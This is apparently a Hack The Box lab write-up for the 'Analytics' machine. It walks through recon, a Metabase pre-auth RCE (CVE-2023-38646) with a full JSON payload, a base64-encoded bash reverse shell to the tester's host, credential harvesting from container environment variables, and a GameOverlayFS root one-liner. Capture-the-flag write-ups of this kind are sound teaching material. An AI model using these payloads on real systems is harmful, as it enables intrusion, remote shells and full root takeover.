Analytics Machine Info

TL;DR

The initial phase of the Analytics box involves the acquisition of a reverse shell accomplished through the exploitation of a subdomain that runs an outdated Metabase webapp. After getting in, it becomes evident that the operating environment is within a Docker container. By enumerating said container, we are able to find SSH credentials that help us move forwards.

The PrivEsc process is quite simple here; after some enumeration, we find out that the box is running an Ubuntu kernel version which is vulnerable to CVE-2023-2640 and CVE-2023-32629.

Reconnaissance

nmap

nmap finds 2 open TCP ports, SSH (22) and HTTP (80).

 1❯ nmap -sC -sV -T5 10.10.11.233     
 2Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-13 18:12 CEST
 3Nmap scan report for analytical.htb (10.10.11.233)
 4Host is up (0.035s latency).
 5Not shown: 998 closed tcp ports (conn-refused)
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
10|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
1180/tcp open  http    nginx 1.18.0 (Ubuntu)
12|_http-server-header: nginx/1.18.0 (Ubuntu)
13|_http-title: Analytical
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 10.94 seconds

DNS

First of all, we need to add analytical.htb to our /etc/hosts file.

1❯ sudo vim /etc/hosts
2[sudo] password for daky:
1127.0.0.1	localhost
2127.0.1.1	kali
3
4# The following lines are desirable for IPv6 capable hosts
5::1     localhost ip6-localhost ip6-loopback
6ff02::1 ip6-allnodes
7ff02::2 ip6-allrouters
8
910.10.11.233 analytical.htb

HTTP

This website is for a fictional company Analytical; it doesn’t have much useful information except for location, e-mail, phone number, and the team member’s names.

Analytics Main Website

After clicking on the login button, we get redirected to http://data.analytical.htb/auth/login. Again, we need to add that name to the /etc/hosts:

1127.0.0.1	localhost
2127.0.1.1	kali
3
4# The following lines are desirable for IPv6 capable hosts
5::1     localhost ip6-localhost ip6-loopback
6ff02::1 ip6-allnodes
7ff02::2 ip6-allrouters
8
910.10.11.233 analytical.htb data.analytical.htb

The subdomain looks much more interesting:

Analytics subdomain

Metabase Exploitation

After trying some basic login bypasses, manual injections and [SQLMap] with no success, I’ve realized that this HTB box is rated as Easy, so I’ve decided to instead search for some public vulnerabilities and exploits for the Metabase application.

Not long after googling for some exploits, I’ve found a relatively new Metabase Pre-Authentication RCE vulnerability (CVE-2023-38646). For this exploit, we first need to obtain a valid setup token from /api/session/properties.

1❯ curl http://data.analytical.htb/api/session/properties | grep -oP "setup-token.{1,40}"
2  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
3                                 Dload  Upload   Total   Spent    Left  Speed
4100 74478    0 74478    0     0   336k      0 --:--:-- --:--:-- --:--:--  338k
5setup-token":"249fa03d-fd94-4d5b-b94f-b4ebf3df681f"

The next step is straightforward, we just need to create a Base64 encrypted reverse shell. Also, make sure the base64 output doesn’t contain any padding ("=") at the end; if it does, you should URL-encode the equal sign (%3D) so that it doesn’t cause issues.

1echo "sh -i >& /dev/tcp/10.10.14.196/69 0>&1" | base64
2c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTk2LzY5IDA+JjEK

And lastly, all we have to do now is send the payload using Burp Suite, Postman, or curl:

 1POST /api/setup/validate HTTP/1.1
 2Host: data.analytical.htb
 3Content-Type: application/json
 4
 5{
 6    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
 7    "details": {
 8        "is_on_demand": false,
 9        "is_full_sync": false,
10        "is_sample": false,
11        "cache_ttl": null,
12        "refingerprint": false,
13        "auto_run_queries": true,
14        "schedules": {},
15        "details": {
16            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTk2LzY5IDA+JjEK}|{base64,-d}|{bash,-i}')\n$$--=x",
17            "advanced-options": false,
18            "ssl": true
19        },
20        "name": "an-sec-research-team",
21        "engine": "h2"
22    }
23}

Burp Suite

And after sending the payload, we get a response on our listener:

1❯ nc -lvnp 69                                                   
2Ncat: Version 7.93 ( https://nmap.org/ncat )
3Ncat: Listening on :::69
4Ncat: Listening on 0.0.0.0:69
5Ncat: Connection from 10.10.11.233.
6Ncat: Connection from 10.10.11.233:51162.
7sh: can't access tty; job control turned off
8/ $ whoami
9metabase

We are in!

Enumeration

Unfortunately, there is no user or root flag on this machine because it is a Docker container, so the next step is to find a way to break out of the container.

As always, we start off by running LinPEAS:

 1❯ ./linpeas.sh
 2snip...
 3╔══════════╣ Environment
 4╚ Any private information inside environment variables?
 5HISTFILESIZE=0
 6MB_LDAP_BIND_DN=
 7LANGUAGE=en_US:en
 8USER=metabase
 9HOSTNAME=7150820be760
10FC_LANG=en-US
11SHLVL=5
12LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
13HOME=/home/metabase
14OLDPWD=/
15MB_EMAIL_SMTP_PASSWORD=
16LC_CTYPE=en_US.UTF-8
17JAVA_VERSION=jdk-11.0.19+7
18LOGNAME=metabase
19_=linpeas.sh
20MB_DB_CONNECTION_URI=
21PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
22MB_DB_PASS=
23MB_JETTY_HOST=0.0.0.0
24META_PASS=An4lytics_ds20223#      <========= HERE
25LANG=en_US.UTF-8
26MB_LDAP_PASSWORD=
27HISTSIZE=0
28SHELL=/bin/sh
29MB_EMAIL_SMTP_USERNAME=
30MB_DB_USER=
31META_USER=metalytics              <========= HERE
32LC_ALL=en_US.UTF-8
33JAVA_HOME=/opt/java/openjdk
34PWD=/tmp
35HISTFILE=/dev/null
36MB_DB_FILE=//metabase.db/metabase.db
37snipp...

LinPEAS found some exposed credentials META_USER=metalytics and META_PASS=An4lytics_ds20223# in environmental variables.

We can try to use these credentials to authenticate against the SSH server.

 1❯ ssh [email protected]
 2[email protected]'s password: 
 3Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)
 4
 5 * Documentation:  https://help.ubuntu.com
 6 * Management:     https://landscape.canonical.com
 7 * Support:        https://ubuntu.com/advantage
 8
 9  System information as of Fri Oct 13 05:42:40 PM UTC 2023
10
11  System load:  0.1279296875      Processes:                203
12  Usage of /:   93.5% of 7.78GB   Users logged in:          0
13  Swap usage:   0%                IPv4 address for eth0:    10.10.11.233
14
15  => / is using 93.5% of 7.78GB
16  => There are 47 zombie processes.
17
18 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
19   just raised the bar for easy, resilient and secure K8s cluster deployment.
20
21   https://ubuntu.com/engage/secure-kubernetes-at-the-edge
22
23Expanded Security Maintenance for Applications is not enabled.
24
250 updates can be applied immediately.
26
27Enable ESM Apps to receive additional future security updates.
28See https://ubuntu.com/esm or run: sudo pro status
29
30
31The list of available updates is more than a week old.
32To check for new updates run: sudo apt update
33Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
34
35
36Last login: Fri Oct 13 17:34:58 2023 from 10.10.14.200
37metalytics@analytics:~$ 

And hopefully, we can now get the user flag.

1metalytics@analytics:~$ cat user.txt
24f21c**********************ba658

Nice, we’ve got user!

user.txt: 4f21c**********************ba658

Privilege Escalation

Again, we start by running LinPEAS. First thing that we can notice is the Kernel version (Linux version 6.2.0-25-generic).

1═══════════════════════════════╣ Basic information ╠═══════════════════════════════
2                               ╚═══════════════════╝
3OS: Linux version 6.2.0-25-generic (buildd@lcy02-amd64-044) (x86_64-linux-gnu-gcc-11 
4(Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) 
5#25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2

This kernel version is one of many vulnerable to GameOverlayFS, which is an exploit that exploits OverlayFS using CVE-2023-2640 and CVE-2023-32629. After looking for some PoCs, I’ve decided to use this one.

1❯ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
2setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

We can go ahead and change the command id to anything we desire, and it will run the command with superuser privileges (as root). I’ve changed it to cat /root/root.txt.

1❯ chmod +x poc.sh
2❯ ./poc.sh
30e74***********************3be89

We’ve got the root flag!

root.txt: 0e74***********************3be89